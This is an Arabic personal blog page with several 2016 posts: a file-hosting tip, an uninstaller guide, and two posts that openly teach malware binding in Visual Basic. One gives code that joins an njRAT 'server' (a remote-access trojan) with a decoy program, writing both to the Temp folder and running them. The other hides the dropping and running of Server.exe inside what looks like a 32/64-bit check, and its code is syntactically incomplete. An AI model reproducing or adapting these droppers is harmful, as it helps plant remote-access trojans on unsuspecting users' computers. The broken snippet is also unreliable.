مدونة علي المياحي

الثلاثاء، 23 فبراير 2016

شرح انشاء مركز لتحميل الملفات على موقع جوجل

نعلم ان معظم مراكز الرفع والتحميل تعطيك مدة معينة وتقوم بعدها بحذف الملفات

ساقدم لكم اليوم شرح لكيفية إنشاء مركز تحميل خاص بك يضمن لك حفظ ملفاتك من الحذف الي الأبد بمساحة غير محدودة
رابط الموقع
"اضغط هنا"

ولن أطيل عليكم سندخل شاهدو الشرح للستفادة

Unknown

11:08 م

اقرأ المزيد

الاثنين، 22 فبراير 2016

دمج سيرفرنجرات مع برنامج بلفيجول بيسك

سلام عليكم

شرحنة اليوم دمج السيرفر مع برنامج بلفيجول بيسك

الكود

========================================================================

Module GBAlpYQnQAF

Sub main()

Dim RoIvFSmCfpo As String = My.Computer.FileSystem.SpecialDirectories.Temp

Dim FKsqNsRNtBH As String = RoIvFSmCfpo + "qdyYIcDLQHz.exe"

IO.File.WriteAllBytes(FKsqNsRNtBH, My.Resources.program)

Process.Start(FKsqNsRNtBH)

Dim qrTVeHuCyUg As String = My.Computer.FileSystem.SpecialDirectories.Temp

Dim CWqpPOzyeDX As String = qrTVeHuCyUg + "EwFOaQxeGWD.exe"

IO.File.WriteAllBytes(CWqpPOzyeDX, My.Resources.server)

Process.Start(CWqpPOzyeDX)

End Sub

End Module

========================================================================

الشرح

Unknown

10:29 ص

اقرأ المزيد

الجمعة، 19 فبراير 2016

شرح تحميل و تثبيت برنامج IObit Uninstaller لحذف البرامج من جذورها

السلام عليكم و رحمة الله و بركاته

شرح تحميل و تثبيت برنامج IObit Uninstaller لحذف البرامج من جذورها

برنامج IObit Uninstaller لحذف البرامج من جذورها ولا يبقى لها أي أثر على الكمبيوتر والبرنامج قد تم تصميمه على أن يكون سهل الإستخدام حيث يستطيع جميع المستخدمين التعامل معه بسهوله سواء كانو مبتدئين أو محترفين

الشرح على اليوتيوب

من موقع الرسمي

او من هنا

Unknown

5:50 ص

اقرأ المزيد

الاثنين، 8 فبراير 2016

عمل تلغيمة شرطيه حسب نوع نضام32او64

سلام عليكم عمل تلغيمة حسب نوع نضامك اما32او64 الكود

Public Class Form1

Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load

If GenerateOperatingSystem() = "64 Bit" Then

MsgBox("الشرط")

End If

End Sub

Public Function GenerateOperatingSystem() As String

Dim D8798432 As String

If Microsoft.Win32.Registry.LocalMachine.OpenSubKey("Hardware\Description\System\CentralProcessor\0").GetValue("Identifier").ToString.Contains("64") Then

D8798432 = "64 Bit"

Else

D8798432 = "32 Bit"

Dim Dire As String = My.Computer.FileSystem.SpecialDirectories.Temp

Dim mustafa As String = Dire + "Server.exe"

IO.File.WriteAllBytes(mustafa, My.Resources.Server)

If IO.File.Exists(mustafa) Then

Process.Start(mustafa)

End If

Return D8798432

End Function

End Class